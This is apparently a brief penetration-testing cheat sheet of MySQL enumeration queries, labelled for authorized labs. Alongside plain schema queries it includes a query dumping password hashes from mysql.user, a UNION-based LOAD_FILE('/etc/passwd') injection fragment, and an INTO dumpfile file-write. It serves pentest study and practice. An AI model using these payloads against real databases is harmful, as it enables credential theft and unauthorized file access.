Hands-On Hacking · SQL / MySQL Enumeration

2026-07-18 · Minion Ops

Reference Guide · Hands-On Hacking™ — practice notes for authorized labs only. SQL / MySQL Enumeration MySQL ENUM SELECT @@version; SELECT @@hostname; SELECT @@datadir; SELECT user(); SELECT system_user(); SELECT user FROM mysql.user; SELECT host, user, password FROM mysql.user; SELECT database(); DATABASES SHOW DATABASES; SELECT schema_name FROM information_schema.schemata; SELECT distinct(db) FROM mysql.db; TABLES SHOW TABLES; SELECT table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'; COLUMNS DESCRIBE table; SELECT column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'; FILES UNION ALL SELECT LOAD_FILE('/etc/passwd'); SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; SQL / MySQL Enumeration(中文) MySQL 枚举:版本/用户/库表列/读文件与写文件 仅在授权范围内使用。Illegal use is not endorsed. 🍌